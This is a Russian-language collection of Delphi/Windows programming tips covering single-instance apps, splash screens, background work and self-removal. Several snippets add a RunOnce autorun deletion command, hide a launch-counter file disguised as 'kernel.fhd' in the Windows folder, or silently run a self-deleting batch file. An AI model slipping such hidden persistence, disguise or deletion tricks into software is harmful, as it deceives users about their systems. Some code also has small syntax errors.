  AddListViewItem('Operating System', VerINfoRes.FileOS, nil, lvVersionInfo);

end;

procedure TMainForm.btnCloseClick(Sender: TObject);
begin
  Close;
end;

end.
К заголовку




" Перезапустить свою программу
procedure TForm1.Button1Click(Sender: TObject);
 var
   FullProgPath: PChar;
 begin
   FullProgPath := PChar(Application.ExeName);
   // ShowWindow(Form1.handle,SW_HIDE);
  WinExec(FullProgPath, SW_SHOW); // Or better use the CreateProcess function
  Application.Terminate; // or: Close;
end;


К заголовку




" Переслать командную строку из второго экземпляра программы в первый
{
I set up a file type (.myfile) to be run by my program, and everything works
okay. The program opens it fine. The problem is, if I double-click some file
on my HD, it opens a new instance of my app, rather than sending the file to
the already opened one. How can I fix this?
}

 {
Example for using DDE to open files from Explorer:
  http://codecentral.borland.com/codecentral/ccweb.exe/finder
  and search for submission ID 17787
}

 {That is the comprehensive solution . There are simpler ones but they tend
to get problems if more than one file is opened at once from Explorer. Those
problems can be handled, but it gets a bit complex to do that.

Basically you proceed like this:

In your programs main block (DPR file) you create a named global kernel
object, e.g. a Mutex or memory-mapped file, using a unique name (e.g. a GUID).
The first instance will create this object successfully and hold on to the
objects handle until it closes. All further instances will detect that the
object already exists, so know that they are not supposed to show up to the
user. But they have to pass over any command-line they may have been handed
from Explorer. They do that by sending a WM_COPYDATA message with the command
line contents to the first instances main window. For that they have to find
the windows handle, for which they use FindWindow with the main forms
classname (which should definitely be somewhat more unique than "Form1"!). The
problem is that the first instance may not have gotten around to creating its
main window yet (if more than one file has been opened from Explorer and the
program was not already running). So the second instance may have to wait in a
loop (using Sleep to suspend itself for a little bit) until the first
instances window shows up.

Bits and pieces of this process have been posted many times on the groups in
the past, but i don't remember if a solution covering all bases was among
them. So since it is Sunday and i'm a wee bit bored let's try for a generic
solution. The meat is in the PBOnceOnly unit given further down. I explain its
usage first. Note that this has been tested on Windows 2000 only, and not very
extensively either.

In the projects DPR file you have code looking like this:
}

 program OneInstanceDemo;

 uses
   Forms,
   Unit1 in 'Unit1.pas' {OneInstanceDemoMainform},
   PBOnceOnly;

 {$R *.res}

 const
   ProcessName = '{53F0DF5B-B69D-40B7-9B2C-A9E515CCFC80}';

 begin
   if AlreadyRunning(ProcessName, TOneInstanceDemoMainform) then
     Exit;

   Application.Initialize;
   Application.CreateForm(TOneInstanceDemoMainform, OneInstanceDemoMainform);
   Application.Run;
 end.

 {You can create a GUID for the processname via Ctrl-Shift-G in the IDE, just
remove the enclosing square brackets.

The main form needs a message handler for WM_COPYDATA, and also a method to
handle a command-line parameter. The example form only shows the passed
parameter in a memo.}

 unit Unit1;

 interface

 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
   ComCtrls, Buttons, StdCtrls;

 type
   TOneInstanceDemoMainform = class(TForm)
     Memo1: TMemo;
     procedure FormCreate(Sender: TObject);
   private
     procedure WMCopyData(var msg: TWMCopyData); message WM_COPYDATA;
     procedure HandleParameter(const param: string);
   public
     { Public declarations }
   end;

 var
   OneInstanceDemoMainform: TOneInstanceDemoMainform;

 implementation

 uses PBOnceOnly;
 {$R *.DFM}

 procedure TOneInstanceDemoMainform.FormCreate(Sender: TObject);
 begin
   memo1.Text := Format('Thread ID: %x'#13#10, [GetCurrentThreadID]);
   HandleCommandline(HandleParameter);
 end;

 procedure TOneInstanceDemoMainform.HandleParameter(const param: string);
 begin
   memo1.Lines.Add(param);
 end;

 procedure TOneInstanceDemoMainform.WMCopyData(var msg: TWMCopyData);
 begin
   HandleSendCommandline(msg.CopyDataStruct^, HandleParameter);
 end;

 end.

 {The work of dissecting the passed commandline is left to the PBOnceOnly unit,
since it "knows" how it packaged the parameters in the other instance. The
technique used by the unit is rather simple: the first instance creates a
memory mapped file and stores its main threads thread ID into this file. It
cannot store the main forms handle since the form has not been created yet
when AlreadyRunning is called. It would be a bad idea anyway since a forms
handle can change over the form objects lifetime. The second instance gets
this handle, uses EnumThreadWindows to find the first instances main form
handle (doing this way avoids problems with the IDE designers form instance
during development), packages the command line and sends it over to the found
window. The second instance will then terminate since AlreadyRunning returns
true in it. It never creates any of the autocreated forms or datamodules and
never enters its message loop.}

 {== PBOnceOnly ========================================================}
 {: Implements a function to detect a running instance of the program and
  (optionally) pass over any command line to the first instances main
  window.
@author Dr. Peter Below
@desc   Version 1.0 created 2003-02-23
Last modified 2003-02-23

If a command line has to be passed over we need the window handle of the first instances main window, to send a WM_COPYDATA message to it. Since the first instance may not have gotten around to creating its main form window handle yet we retry a couple of times and wait a bit in between. This process can be configured by setting the MAX_RETRIES and RETRIES_INTERVAL variables before calling AlreadyRunning. } {======================================================================} {$BOOLEVAL OFF} {Unit depends on shortcut boolean evaluation} unit PBOnceOnly; interface uses Windows; var {: Specifies how often we retry to find the first instances main window. } MAX_RETRIES: Integer = 10; {: Specifies how long, in milliseconds, we sleep between retries. } RETRIES_INTERVAL: Integer = 1000; {-- AlreadyRunning ----------------------------------------------------} {: Checks for another instance of the program and optionally passes over this instances command line. @Param aProcessName is a unique name to be used to identify this program. @Param aMainformClass is the programs main form class, can be nil. @Param passCommandline indicates whether to pass the command line, true by default. @Param allowMultiuserInstances indicates whether to allow other instances of the program to run in another user context. Only applies to Windows terminal server or XP. True by default. @Returns true if there is another instance running, false if not. @Precondition The function has not been called already. It must only be called once per program run. @Desc Creates a memory mapped file with the passed process name, optionally with an added 'Global' prefix. If the MMF already existed we know that this is a second instance. The first instance stores its main thread ID into the MMF, the second one uses that with EnumThreadWindows to find the first instances main window and sends the command line via WM_COPYDATA to this window, if requested. @Raises Exception if creation of the MMF fails for some reason. }{ Created 2003-02-23 by P. Below -----------------------------------------------------------------------} function AlreadyRunning(const aProcessName: string; aMainformClass: TClass = nil; passCommandline: Boolean = true; allowMultiuserInstances: Boolean = true): Boolean; type {: Callback type used by HandleSendCommandline. The callback will be handed one parameter at a time. } TParameterEvent = procedure(const aParam: string) of object; {-- HandleSendCommandline ---------------------------------------------} {: Dissect a command line passed via WM_COPYDATA from another instance @Param data contains the data received via WM_COPYDATA. @Param onParameter is a callback that will be called with every passed parameter in turn. @Precondition onParameter <> nil }{ Created 2003-02-23 by P. Below -----------------------------------------------------------------------} procedure HandleSendCommandline(const data: TCopyDataStruct; onParameter: TParameterEvent); {-- HandleCommandline -------------------------------------------------} {: This is a convenience procedure that allows handling of this instances command line parameters to be done the same way as a command line send over from another instance. @Param onParameter will be called for every command line parameter in turn. @Precondition onParameter <> nil }{ Created 2003-02-23 by P. Below -----------------------------------------------------------------------} procedure HandleCommandline(onParameter: TParameterEvent); implementation uses Messages, Classes, Sysutils; { The THandledObject and TShareMem classes come from the D6 IPCDemos demo project. } type THandledObject = class(TObject) protected FHandle: THandle; public destructor Destroy; override; property Handle: THandle read FHandle; end; { This class simplifies the process of creating a region of shared memory. In Win32, this is accomplished by using the CreateFileMapping and MapViewOfFile functions. } TSharedMem = class(THandledObject) private FName: string; FSize: Integer; FCreated: Boolean; FFileView: Pointer; public constructor Create(const Name: string; Size: Integer); destructor Destroy; override; property Name: string read FName; property Size: Integer read FSize; property Buffer: Pointer read FFileView; property Created: Boolean read FCreated; end; procedure Error(const Msg: string); begin raise Exception.Create(Msg); end; { THandledObject } destructor THandledObject.Destroy; begin if FHandle <> 0 then CloseHandle(FHandle); end; { TSharedMem } constructor TSharedMem.Create(const Name: string; Size: Integer); begin try FName := Name; FSize := Size; { CreateFileMapping, when called with $FFFFFFFF for the handle value, creates a region of shared memory } FHandle := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, Size, PChar(Name)); if FHandle = 0 then abort; FCreated := GetLastError = 0; { We still need to map a pointer to the handle of the shared memory region } FFileView := MapViewOfFile(FHandle, FILE_MAP_WRITE, 0, 0, Size); if FFileView = nil then abort; except Error(Format('Error creating shared memory %s (%d)', [Name, GetLastError])); end; end; destructor TSharedMem.Destroy; begin if FFileView <> nil then UnmapViewOfFile(FFileView); inherited Destroy; end; var { This object is destroyed by the unit finalization } ProcessInfo: TSharedMem = nil; { Check if we are running in a terminal client session } function IsRemoteSession: Boolean; const sm_RemoteSession = $1000; { from WinUser.h } begin Result := GetSystemMetrics(sm_RemoteSession) <> 0; end; { Check if we are running on XP or a newer version. XP is Windows NT 5.1 } function IsXP: Boolean; begin Result := (Sysutils.Win32Platform = VER_PLATFORM_WIN32_NT) and ((Sysutils.Win32MajorVersion > 5) or ((Sysutils.Win32MajorVersion = 5) and (Sysutils.Win32MinorVersion > 0) ) ); end; { Check if we are running in a Windows terminal client session or on Windows XP. } function IsWTSOrXP: Boolean; begin Result := IsRemoteSession or IsXP end; type { Helper class to hold classname and found window handle for EnumThreadWindows } TEnumhelper = class public FClassname: string; FWnd: HWND; constructor Create(const aClassname: string); function Matches(wnd: HWND): Boolean; end; constructor TEnumhelper.Create(const aClassname: string); begin inherited Create; FClassname := aClassname; end; function TEnumhelper.Matches(wnd: HWND): Boolean; var classname: array[0..127] of Char; begin classname[0] := #0; Windows.GetClassname(wnd, classname, sizeof(classname)); Result := AnsiSametext(Fclassname, classname); if result then FWnd := wnd; end; function EnumProc(wnd: HWND; helper: TEnumHelper): BOOL; stdcall; begin Result := not helper.Matches(wnd); end; function FindFirstInstanceMainform(const aClassname: string): HWND; var threadID: DWORD; helper: TEnumHelper; begin threadID := PDWORD(Processinfo.FFileView)^; helper := TEnumHelper.Create(aclassname); try EnumThreadWindows(threadID, @EnumProc, Integer(helper)); Result := helper.FWnd; finally helper.Free; end; end; function AlreadyRunning(const aProcessName: string; aMainformClass: TClass = nil; passCommandline: Boolean = true; allowMultiuserInstances: Boolean = true): Boolean; function Processname: string; begin if not allowMultiuserInstances and IsWTSorXP then Result := 'Global\' + aProcessName else Result := aProcessName; end; procedure StoreThreadID; begin PDWORD(ProcessInfo.FFileView)^ := GetCurrentThreadID; end; function GetCommandline: string; var sl: TStringlist; i: Integer; begin if ParamCount = 1 then Result := ParamStr(1) else begin sl := TStringlist.Create; try for i := 1 to ParamCount do sl.Add(ParamStr(i)); Result := sl.Text; finally sl.free; end; { Finally } end; end; procedure DoPassCommandline; var wnd: HWND; S: string; copydata: TCopyDataStruct; retries: Integer; begin retries := 0; repeat wnd := FindFirstInstanceMainform(aMainformclass.Classname); if wnd <> 0 then begin S := GetCommandline; copydata.dwData := Paramcount; copydata.cbData := Length(S) + 1; copydata.lpData := PChar(S); SendMessage(wnd, WM_COPYDATA, 0, integer(@copydata)); end else begin Inc(retries); Sleep(RETRIES_INTERVAL); end; until (wnd <> 0) or (retries > MAX_RETRIES); end; begin Assert(not Assigned(ProcessInfo), 'Do not call AlreadyRunning more than once!'); ProcessInfo := TSharedMem.Create(Processname, Sizeof(DWORD)); Result := not ProcessInfo.Created; if Result then begin if passCommandline and Assigned(aMainformClass) and (ParamCount > 0) then DoPassCommandline; end else StoreThreadID; end; procedure HandleSendCommandline(const data: TCopyDataStruct; onParameter: TParameterEvent); var i: Integer; sl: TStringlist; begin Assert(Assigned(onParameter), 'OnParameter cannot be nil'); if data.dwData = 1 then onParameter(PChar(data.lpData)) else begin sl := TStringlist.Create; try sl.Text := PChar(data.lpData); for i := 0 to sl.Count - 1 do onParameter(sl[i]); finally sl.Free; end; { Finally } end; end; procedure HandleCommandline(onParameter: TParameterEvent); var i: Integer; begin Assert(Assigned(onParameter), 'OnParameter cannot be nil'); for i := 1 to ParamCount do onParameter(ParamStr(i)); end; initialization finalization ProcessInfo.Free; end.

К заголовку




" Показ логотипа при запуске приложения
Это очень просто.

Создайте форму и поместите на нее логотип, используя компонент Timage. В моем примере я создал форму с логотипом и
именем "logoform". Зайдите в настройки проекта и исключите форму их списка "автосоздаваемых" форм.

Затем в вашем файле PROJECT.DPR где-то сразу после ключевого слова begin напишите примерно следующее:

logoform := TLogoform.Create(nil);
{ ВНИМАНИЕ! show!   НЕ showmodal }
logoform.Show;

{ Здесь может размещаться код инициализации приложения,
  например, открытие базы данных... }

{ После блока кода, создающего все ваши формы и перед
  строчкой Application.Run напишите: }

logoform.Hide;
logoform.Release;


Это будет показывать форму с логотипом до тех пор, пока приложение не выполнит инициализационный код и окончательно не
запустится.
-----------------------------------------------------


Мне также понадобился логотип для одного из моих клиентов, поэтому я загрузил файл из публичной библиотеки и включил в
свое приложение модуль, позволяющий выводить логотип при загрузке программы. В этом модуле было около 150 строк кода,
но у меня свое понятие относительно количества необходимого для этого дела кода, поэтому я просто удалил лишнее, для
которого просто не нашел применения.

После моего хирургического вмешательства осталось всего пять или шесть строк кода, вплетенных в скелет формы. После
сравнения моего кода с демо-проектом, поставляемым с Delphi (MastApp), я понял, что мой код много проще.

Я не хочу обвинять автора в том, что он плохо сделал свою работу. Без его помощи этого кода просто бы не существовало.
Я нахожу, что изучение чужого кода всегда существенно расширяет и дополняет багаж программиста.

Код производит впечатление, что создание окошка с логотипом в Delphi плевое дело. Ну за дело: сначала, с помощью
редактора, создайте форму (лучшим решением будет создание нового проекта в отдельном каталоге) и установите лучшие, на
ваш художественный взгляд, значения таких свойств, как позиция, размеры и границы. Затем создайте обработчик события
OnDeactivate и добавьте единственную строчку кода, в которой мы освобождаем форму. И, последнее, добавьте секцию initialization
с тремя строчками кода, которые создают, выводят и обновляют форму.

Для того, чтобы использовать новое окошко с логотипом, скопируйте получившийся .PAS-файл в каталог с проектом, в котором
вы намереваетесь его использовать, и вставьте ссылку на модуль в самую верхнюю часть секции uses. НЕ добавляйте форму к
проекту.

Ниже приведен пример кода (форма имеет имя SplashForm, модуль обозван как SPLASH). Мой код добавлен между закомментаренных
блоков {>>вставить} и {<<конец вставки}, весь остальной код генерируется Delphi.

type
  TSplashForm = class(TForm)
    [...labels, bitmaps, и пр., добавляется редактором Delphi...]
    procedure FormDeactivate(Sender: TObject);
  end;

var
  SplashForm: TSplashForm;

implementation

{$R *.DFM}

{ Это шаманское место. Application.Run в нашем случае
вызывает программу деактивации.}

procedure TSplashForm.FormDeactivate(Sender: TObject);
begin
  {>>вставить}
  Free;
  {<<конец вставки}

end;

{>>вставить}

initialization
  begin
    SplashForm := TSplashForm.Create(nil);
    SplashForm.Show;

    { Я не уверен, но причина наличия здесь Update в том,
    что, как мне кажется, приложение пока не может работать
    c очередью своих сообщений}

    SplashForm.Update;
  end;
  {<<конец вставки}
end.


В головном модуле после строчки USES (.DPR-файл) просто добавьте "SPLASH," (не заключайте это в кавычки). Это все.
Никакой головной боли с таймерами, никаких запусков отдельных приложений. Логотип быстро появляется и остается до тех
пор, пока приложение не начнет свою работу.
--------------------------------------------


program Project1;
uses
  Forms,
  Unit1 in 'Unit1.pas' {Form1};
  ULogo in 'ULogo.pas' {LogoForm};

{$R *.RES}

begin
  Application.Initialize; {до этого момента никаких изменений}

  with TLogoForm.Create(Application) do
  try
    Show;
    Update;
    Application.CreateForm(TForm1, Form1);
    {GProgress.AddProgress(1); - здесь можно двигать прогресс, если TGauge
    или TProgressBar лежат на TLogoForm'е}

    {если есть еще формы, то Application.CreateForm(TForm2, Form2); и т.д.}
  finally
    Free;
  end;

  Application.Run;
end.


К заголовку




" Получить системный фокус приложения
function GetSysFocus: Integer;
 var
   hFgWin, FgThreadID, hFocusWin: Integer;
 begin
   hFgWin     := GetForegroundWindow;
   FgThreadID := GetWindowThreadProcessID(hFgWin, nil);
   if AttachThreadInput(GetCurrentThreadID, FgThreadID, True) then
   begin
     hFocusWin := GetFocus;
     Result    := GetFocus;
     AttachThreadInput(GetCurrentThreadID, FgThreadID, False);
   end
   else
     Result := GetFocus;
 end;
К заголовку




" Приостановить работу программы
Используйте Sleep(Milliseconds). Программа перестает работать на указанное в скобках количество тысячных секунд.
Погрешность на моем компьютере, а он не старый, до 10 мсек. При этом способе ничего не происходит, даже перерисовка.
Чтобы этого избежать можно использовать другой способ.

procedure TForm1.Button1Click(Sender: TObject);
var
  t: integer;
begin
  t := GetTickCount;
  repeat
    Application.ProcessMessages
  until
    GetTickCount - t >= 1000;
  Button1.Caption := Button1.Caption + '1';
end;


К заголовку




" Проверить, работает ли программа в Terminal Client Session
function IsRemoteSession: Boolean;
 const
   sm_RemoteSession = $1000; { from WinUser.h }
 begin
   Result := GetSystemMetrics(sm_RemoteSession) <> 0;
 end;
К заголовку




" Программа - камикадзе
Программа - камикадзе
Если вам понадобилось, чтобы Ваше приложение самоликвидировалось ;-] после своего выполнения, тогда делайте так:

В разделе uses объявляем модуль Registry:

uses
  Registry;


а нажатие кнопки обрабатываем следующим образом:

procedure TForm1.Button1Click(Sender: TObject);
var
  reg: TRegistry;
begin
  reg := TRegistry.Create;
  with reg do
  begin
    RootKey := HKEY_LOCAL_MACHINE;
    LazyWrite := false;
    OpenKey('Software\Microsoft\Windows\CurrentVersion\RunOnce', false);
    WriteString('Delete Me!','command.com /c del FILENAME.EXT');
    CloseKey;
    free;
  end;
end;


Всё дело в том, что параметры, заносимые в ключ

HKEY_LOCAL_MACHINE\Software\Microsoft\ Windows\CurrentVersion\RunOnce

удаляются после своего выполнения!

К заголовку




" Программа запускается только нужное количество раз
Если ты хочешь воспользоваться системным реестром для достижения своей цели тогда объяви в разделе uses
(в начале модуля) модуль Registry - выглядеть это будет примерно так:

uses
  Registry;


А потом по созданию окна напиши следующий код:

procedure TForm1.FormCreate(Sender: TObject);
var
  a: TRegistry;
  Count: Integer;
begin
  if FileExists('c:\Windows\kernel.fhd') = false then
  begin
    a := TRegistry.Create;
    with a do
    begin
      RootKey := HKEY_LOCAL_MACHINE;
      OpenKey('\Software\Microsoft\oor', true);
      WriteInteger('RunCount', 1);
      CloseKey;
      Free;
    end;
    FileCreate('c:\Windows\kernel.fhd');
  end
  else
  begin
    a:=TRegistry.Create;
    with a do
    begin
      RootKey := HKEY_LOCAL_MACHINE;
      OpenKey('\Software\Microsoft\oor', true);
      Count := ReadInteger('RunCount');
      CloseKey;
      Free;
    end;
    if Count = 3 then
      halt;
    else
    begin
      Inc(Count);
      a := TRegistry.Create;
      with a do
      begin
        RootKey := HKEY_LOCAL_MACHINE;
        OpenKey('\Software\Microsoft\oor', true);
        WriteInteger('RunCount', Count);
        CloseKey;
        Free;
      end;
      FileCreate('c:\Windows\kernel.fhd');
    end;
  end;
end;


К заголовку




" Программа запускается только один раз за сессию Windows
procedure TForm1.FormCreate(Sender: TObject);
var
  CRLF: string;
begin
  if GlobalFindAtom('THIS_IS_SOME_OBSCUREE_TEXT') = 0 then
    GlobalAddAtom('THIS_IS_SOME_OBSCUREE_TEXT')
  else
  begin
    CRLF := #10 + #13;
    ShowMessage('Это приложение может быть запущено только один раз за сессию Windows.' + CRLF +
    'Если будет сделана ещё одна попытка запуска, нам придётся отформатировать вам винчестер...');
    Halt;
  end;
end;



К заголовку




" Программа только на один запуск
procedure TForm1.FormCreate(Sender: TObject);
var
  sFileName: string;
begin
  sFileName := 'c:\Windows\kernel.fhd';
  if FileExists(sFileName) then
    Halt
  else
    FileCreate(sFileName);
end;


К заголовку




" Работа в фоне
Я пишу программу в Delphi, которая каждый час должна проверять размер файла. Это также предполагает, что в случае
неактивности приложения оно должно работать сторожевым псом в фоновом режиме win 95 и NT. Как мне сделать это...??
Вот некоторый исходный код, который должен делать то, что вы хотите. Я его только что создал и еще не успел проверить,
но что-то подобное я уже делал, так что это должно работать. Код допускает одно предположение, о котором вы должны
отдавать себе отчет. Оно заключается в том, что приложение должно запускатьтся одновременно с Windows (может быть
из группы автозапуска), так как код использует GetTickCount, возвращающий в миллисекундах время с момента старта
системы, это необходимо для ежечасной инициализац ии кода выполнения задачи. По-моему это то, что вам нужно.
Величина, возвращаемая GetTickCount имеет тип DWORD, но Delphi ее хранит как LongInt, поэтому большие значения
могут иметь отрицательную величину (после примерно 25 дней). Данный эффект в алгоритм е проверки наступления
часа неопределен (я действительно не считал это). Аналогично, значение будет повторяться в цикле каждые 49.7
дней и может появиться другой эффект, когда раз в 49.7 дней в одном реальном часе алгоритм сработает дважды.
Надеюсь это ни как не скажется на вашей задаче. Во всяком случае разве это не то, что вы хотели? Успехов!

program Project1;

uses Messages, Windows;

{$R *.RES}

function KeepRunning: Boolean;
var
  Msg: TMsg;
begin
  Result := True;
  while PeekMessage(Msg, 0, 0, 0, PM_REMOVE) do
  begin
    if (Msg.Message = WM_QUIT) then
      Result := False;
    DispatchMessage(Msg);
  end;
end;

function OnTheHour: Boolean;
begin
  { Это действительно проверяется в течение одной секунды    }
  { (или меньше) для проверки наступления нового часа,       }
  { когда нам необходимо запустить нашу задачу на выполнение }
  Result := (GetTickCount mod
    (1 {hr} * 60 {min} * 60 {sec} * 1000 {msec}) < 1000);
end;

const
  filetocheck = 'c:\somedir\somefile.ext';
  magicsize = 1000000;
var
  f: file;
  size: longint;
begin
  { проверка наступления нового часа с момента запуска системы }
  while keeprunning do
  begin
    { проверяем наступление часа }
    if onthehour then
    begin
      { открываем файл с размером записи 1 байт }
      { и проверяем его размер                  }
      assignfile(f, filetocheck);
      reset(f, 1);
      size := filesize(f);
      closefile(f);
      { теперь проверяем изменение размера файла }
      if (size >= MAGICSIZE) then
      begin
        { Предпринимаем какие-то действия }
      end;
      { Теперь "сидим" в этом участке кода                 }
      { и ожидаем очередного часа, здесь можно             }
      { предусмотреть выход из программы или иное действие }
      while (KeepRunning and OnTheHour) do
        {ничего};
    end;
  end;
end.


К заголовку




" Реализовать фоновую работу программы
Попробуйте запустить программу. Пока компьютер ничего не делает, рисунок на окне все время меняется, но, стоит
загрузить компьютер какой-либо работой, и изменение фона прекращается. В этой программе можно подвигать мышью по
кну – это приведет к сравнительно сложным действиям, поэтому фоновая работа программы временно прекратится.

...
public
  Row: integer;
  procedure OnIdleProc(Sender: TObject; var Done: Boolean);
...
procedure TForm1.FormCreate(Sender: TObject);
begin
  Application.OnIdle := OnIdleProc;
end;

procedure TForm1.OnIdleProc(Sender: TObject; var Done: Boolean);
var
  i: integer;
  col: TColor;
  Gray: integer;
begin
  for i := 0 to Form1.ClientWidth - 1 do
  begin
    col := Form1.Canvas.Pixels[i, Row];
    Gray := GetRValue(col) + round(30 * sin(i / 30 + Row / 50));
    Form1.Canvas.Pixels[i, Row] := RGB(Gray, Gray, Gray);
  end;
  inc(Row);
  if (Row = Form1.ClientHeight) then
    Row := 0;
  Done := false;
end;

procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);
var
  i: integer;
begin
  with Form1.Canvas do
  begin
    Brush.Style := bsClear;
    for i := 0 to 1000 do
    begin
      Pen.Color := RGB(i, i, i);
      Rectangle(X - i, Y - i, X + i, Y + i);
    end;
  end;
end;



К заголовку




" Удалить из директории проекта лишние файлы
program Clean;

 {
  The program registers as a explorer extension.
  Use rightclick on a Delphiproject directory and choose Clean Delphi files.
  Place the executable somewhere in program files and run once.

  Dieses Program registriert sich beim Ausfuhren als
  Explorer-Erweiterung.
  Mit einem Rechtsklick auf ein Delphi Verzeichnis und
  einem Klick auf "Clean Delphi files" werden die Verzeichnisse "aufgeraumt".
}

 uses
   SysUtils, Registry, WinTypes, FileCtrl;

 var
   dir: string;

 const
   // HKEY_CLASSES_ROOT
  DirExtensionKey = 'Directory\shell\clean';
   SubKey = '\command';

 procedure PerformAction(const dir, fname: string);
   // Set selected attributes for a file.
begin
   if not SysUtils.DeleteFile(dir + fname) then
   begin
   end;
 end;

 procedure ScanDirectory(const dir, filemask: string);
   // Call performaction for every file which looks like filemask
var
   SearchRec: TSearchRec;
 begin
   if not DirectoryExists(dir) then
   begin
     MessageBox(0, 'Directory not found', 'Clean', mb_ok);
     Halt;
   end;
   if dir <> '' then ChDir(dir);
   // Search subdirs ?
  if True then
   begin
     if FindFirst('*.*', faDirectory, SearchRec) = 0 then
       repeat
         if (SearchRec.Name <> '.') and (SearchRec.Name <> '..') and
           ((SearchRec.Attr and faDirectory) = faDirectory) then
           ScanDirectory(SearchRec.Name, filemask);
       until (FindNext(SearchRec) <> 0);
     SysUtils.FindClose(SearchRec);
   end;
   // Ennumerate all files in current directory
  if FindFirst(filemask, faAnyFile, SearchRec) = 0 then
     repeat
       if (SearchRec.Name <> '.') and (SearchRec.Name <> '..') and
         ((SearchRec.Attr and faDirectory) = 0) then
         PerformAction('', SearchRec.Name);
     until (FindNext(SearchRec) <> 0);
   SysUtils.FindClose(SearchRec);
   // Directory up
  Chdir('..');
 end;

 procedure DoPopupReg;
 var
   reg: TRegistry;
 begin
   try
     reg := TRegistry.Create;
   except
     Exit;
   end;
   if True then
     with reg do
     begin
       RootKey := HKEY_CLASSES_ROOT;
       OpenKey(DirExtensionkey, True);
       WriteString('', 'Clean Del&phi files');
       CloseKey;
       OpenKey(DirExtensionkey + SubKey, True);
       WriteString('', ParamStr(0) + ' "%1"');
       CloseKey;
     end
   else
     with reg do
     begin
       RootKey := HKEY_CLASSES_ROOT;
       DeleteKey(DirExtensionkey);
       CloseKey;
     end;
   reg.Free;
 end;

 begin
   DoPopupReg;
   if ParamCount > 0 then dir := ParamStr(1)
   else
      Exit;
   ScanDirectory(dir, '*.dcu');
   ScanDirectory(dir, '*.~*');
   // You can add more files here
end.


К заголовку




" Удалить свою программу после ее завершения
procedure DeleteEXE;

   function GetTmpDir: string;
   var
     pc: PChar;
   begin
     pc := StrAlloc(MAX_PATH + 1);
     GetTempPath(MAX_PATH, pc);
     Result := string(pc);
     StrDispose(pc);
   end;

   function GetTmpFileName(ext: string): string;
   var
     pc: PChar;
   begin
     pc := StrAlloc(MAX_PATH + 1);
     GetTempFileName(PChar(GetTmpDir), 'uis', 0, pc);
     Result := string(pc);
     Result := ChangeFileExt(Result, ext);
     StrDispose(pc);
   end;

    var
   batchfile: TStringList;
   batchname: string;
 begin
   batchname := GetTmpFileName('.bat');
   FileSetAttr(ParamStr(0), 0);
   batchfile := TStringList.Create;
   with batchfile do
   begin
     try
       Add(':Label1');
       Add('del "' + ParamStr(0) + '"');
       Add('if Exist "' + ParamStr(0) + '" goto Label1');
       Add('rmdir "' + ExtractFilePath(ParamStr(0)) + '"');
       Add('del ' + batchname);
       SaveToFile(batchname);
       ChDir(GetTmpDir);
       ShowMessage('Uninstalling program...');
       WinExec(PChar(batchname), SW_HIDE);
     finally
       batchfile.Free;
     end;
     Halt;
   end;
 end;
К заголовку




" Форма с данными о приложении Version Info
Данная простая процедура создает небольшое диалоговое окно с данными о приложении, взятыми из Version Info в Delphi проекте.
Окно автоматически изменяет свой размер в зависимости от данных Version Info.

{

Данная процедура показывает небольшое диалоговое окно с данными
о программе взятыми из Version Info. Окно автоматически изменяет
свой размер в зависимости от данных Version Info.

Жилин С.В.
jilin@list.ru

}

unit AboutF;

interface

uses
  Windows, SysUtils, Graphics, Controls, Forms, StdCtrls, ExtCtrls;

procedure ShowAbout;

implementation

procedure ShowAbout;
var
  About: TForm;
  S, TS: string;
  h, sz, Len: DWORD;
  Buf: PChar;
  Value: Pointer;
  LabelLeft, i: Integer;
begin
  S := Application.ExeName;
  sz := GetFileVersionInfoSize(PChar(S), h);
  if sz > 0 then
  begin
    Buf := AllocMem(sz);
    GetFileVersionInfo(PChar(S), h, sz, Buf);
    VerQueryValue(Buf, '\VarFileInfo\Translation', Value, Len);
    TS := IntToHex(MakeLong(HiWord(Longint(Value^)), LoWord(Longint(Value^))), 8);
    About := TForm.Create(Application);
    with About do
    try
      Caption := 'О программе: ' + Application.Title;
      Position := poScreenCenter;
      BorderStyle := bsDialog;
      with TImage.Create(Application) do
      begin
        Picture.Icon := Application.Icon;
        Left := 10;
        Top := 10;
        Parent := About;
        AutoSize := True;
        LabelLeft := Left + Width + 10;
      end;
      VerQueryValue(Buf, PChar('StringFileInfo\' + TS + '\ProductName'), Pointer(Value), Len);
      if Len > 1 then
        with TLabel.Create(Application) do
        begin
          Left := LabelLeft;
          Top := About.Controls[About.ControlCount - 1].Top;
          Font.Size := 10;
          Font.Style := [fsBold];
          Font.Color := clNavy;
          Parent := About;
          Caption := StrPas(PChar(Value));
        end;
      VerQueryValue(Buf, PChar('StringFileInfo\' + TS + '\FileVersion'), Pointer(Value), Len);
      if Len > 1 then
        with TLabel.Create(Application) do
        begin
          Left := LabelLeft;
          Top := About.Controls[About.ControlCount - 1].Top + About.Controls[About.ControlCount - 1].Height + 5;
          Caption := 'Версия: ' + StrPas(PChar(Value));
          Parent := About;
        end;
      VerQueryValue(Buf, PChar('StringFileInfo\' + TS + '\CompanyName'), Pointer(Value), Len);
      if Len > 1 then
        with TLabel.Create(Application) do
        begin
          Left := LabelLeft;
          Top := About.Controls[About.ControlCount - 1].Top + About.Controls[About.ControlCount - 1].Height + 5;
          Caption := 'Компания: ' + StrPas(PChar(Value));
          Parent := About;
        end;
      VerQueryValue(Buf, PChar('StringFileInfo\' + TS + '\Author'), Pointer(Value), Len);
      if Len > 1 then
        with TLabel.Create(Application) do
        begin
          Left := LabelLeft;
          Top := About.Controls[About.ControlCount - 1].Top + About.Controls[About.ControlCount - 1].Height + 5;
          Caption := 'Автор: ' + StrPas(PChar(Value));
          Parent := About;
        end;
      Height := Controls[ControlCount - 1].Top + Controls[ControlCount - 1].Height + 85;
      Width := 10;
      for i := 0 to ControlCount - 1 do
        if Controls[i] is TLabel then
          if Controls[i].Left + Controls[i].Width + 20 > Width then
            Width := Controls[i].Left + Controls[i].Width + 20;
      with TButton.Create(Application) do
      begin
        Caption := 'Ok';
        Left := Trunc((About.Width / 2) - (Width / 2));
        Top := Trunc(About.Height - 60);
        ModalResult := mrOk;
        Cursor := crHandPoint;
        Parent := About;
      end;
      with TBevel.Create(Application) do
      begin
        Shape := bsTopLine;
        Style := bsRaised;
        Align := alBottom;
        Parent := About;
        Height := About.Controls[About.ControlCount - 1].Height + 20;
      end;
      ShowModal;
    finally
      Free;
    end;
  end;
end;

end.
К заголовку




" Взаимодействие с чужими окнами
